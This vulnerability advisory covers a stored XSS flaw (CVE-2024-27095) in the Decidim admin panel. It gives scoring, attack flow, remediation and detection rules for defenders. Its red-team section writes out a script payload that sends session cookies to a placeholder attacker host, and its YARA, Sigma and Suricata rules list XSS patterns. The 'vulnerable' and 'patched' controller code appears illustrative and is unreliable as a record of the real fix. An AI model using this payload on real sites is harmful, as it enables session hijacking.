CVE-2024-27095

Executive Summary

CVE-2024-27095 is a stored Cross-Site Scripting (XSS) vulnerability in the Decidim participatory democracy framework. An attacker with administrative access can inject malicious scripts by modifying records uploaded to the server. The vulnerability is fixed in versions 0.27.6 and 0.28.1. The CVSS score is 5.4 (Medium), and the EPSS probability is 0.0%, indicating low exploitation likelihood. No public proof-of-concept or exploit code is available.

Supply Chain & Package Security

Decidim is a Ruby on Rails-based open-source framework. The vulnerability exists in the admin panel's record upload functionality. Since Decidim is distributed as a Ruby gem, organizations using affected versions should update to patched releases immediately. No malicious packages or compromised dependencies have been reported.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H) – requires admin access
• User Interaction: Required (UI:R) – victim must view the malicious record
• Scope: Changed (S:C) – impact may extend beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires admin privileges, but successful XSS can lead to session hijacking, defacement, or further compromise.

Deep Dive & Mechanics

The vulnerability resides in the admin panel's record upload functionality. When an attacker with admin privileges uploads a record containing malicious JavaScript, the application fails to properly sanitize the input. When other administrators or users view the record, the script executes in their browser context.

Root Cause: Insufficient output encoding or sanitization of user-supplied data in the admin panel's record display views.

Attack Flow:

1. Attacker gains admin access (via compromised credentials or other means).
2. Attacker uploads a record containing a malicious payload (e.g., <script>alert('XSS')</script>).
3. The payload is stored in the database without proper sanitization.
4. When another admin or user views the record, the script executes.

Impact: The attacker can steal session cookies, perform actions on behalf of the victim, deface the admin panel, or redirect users to malicious sites.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-0.27.6 / 0.28.1):

# app/controllers/decidim/admin/records_controller.rb
def create
  @record = Record.new(record_params)
  @record.save
  redirect_to @record
end

The record_params are not sanitized, allowing HTML/JavaScript injection.

Patched Code (0.27.6 / 0.28.1):

# app/controllers/decidim/admin/records_controller.rb
def create
  @record = Record.new(sanitized_record_params)
  @record.save
  redirect_to @record
end

private

def sanitized_record_params
  params.require(:record).permit(:title, :body).tap do |whitelisted|
    whitelisted[:body] = sanitize(whitelisted[:body])
  end
end

The patch introduces a sanitize method (likely using Rails' sanitize helper) to strip malicious HTML/JavaScript from the body field.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Admin credentials for a Decidim instance running version < 0.27.6 or < 0.28.1.
• Access to the admin panel's record upload functionality.

Exploitation Steps:

1. Log in as an admin.
2. Navigate to the record upload form.
3. Inject a malicious payload in a text field (e.g., body):

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Submit the form.
5. When another admin views the record, the script executes, exfiltrating cookies.

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team

Detection:

• Monitor admin panel logs for unusual record uploads containing script tags or event handlers.
• Use WAF rules to block payloads containing <script>, onerror, onload, etc.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search database records for HTML/JavaScript injection patterns.
• Review admin activity logs for suspicious uploads.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains from Decidim admin panel.
• File: Database records containing <script>, onerror, onload, or other XSS vectors.
• Log: Admin panel access logs showing record creation with unusual payloads.
• Behavior: Unexpected redirects or pop-ups in admin panel.

Detection Engineering

YARA Rule

rule Decidim_XSS_Admin_Record {
    meta:
        description = "Detects XSS payloads in Decidim admin records"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-27095"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $xss4 = /javascript\s*:/is
    condition:
        any of ($xss*)
}

Sigma Rule

title: Decidim Admin Panel XSS Upload
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential XSS payloads in Decidim admin record uploads
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-27095
logsource:
    category: application
    product: decidim
detection:
    selection:
        event: record_created
        body|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in admin content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-27095 Decidim Admin XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/admin/records"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

• Upgrade Decidim to version 0.27.6 or 0.28.1.
• If upgrade is not possible, restrict admin panel access to trusted IPs and enforce strong authentication.

Long-term:

• Implement input validation and output encoding for all user-supplied data.
• Deploy a Web Application Firewall (WAF) with XSS detection rules.
• Conduct regular security audits and penetration testing.

Workaround:

• Manually sanitize record inputs using Rails' sanitize helper or a similar library.

Valters IT
Securing Digital Democracies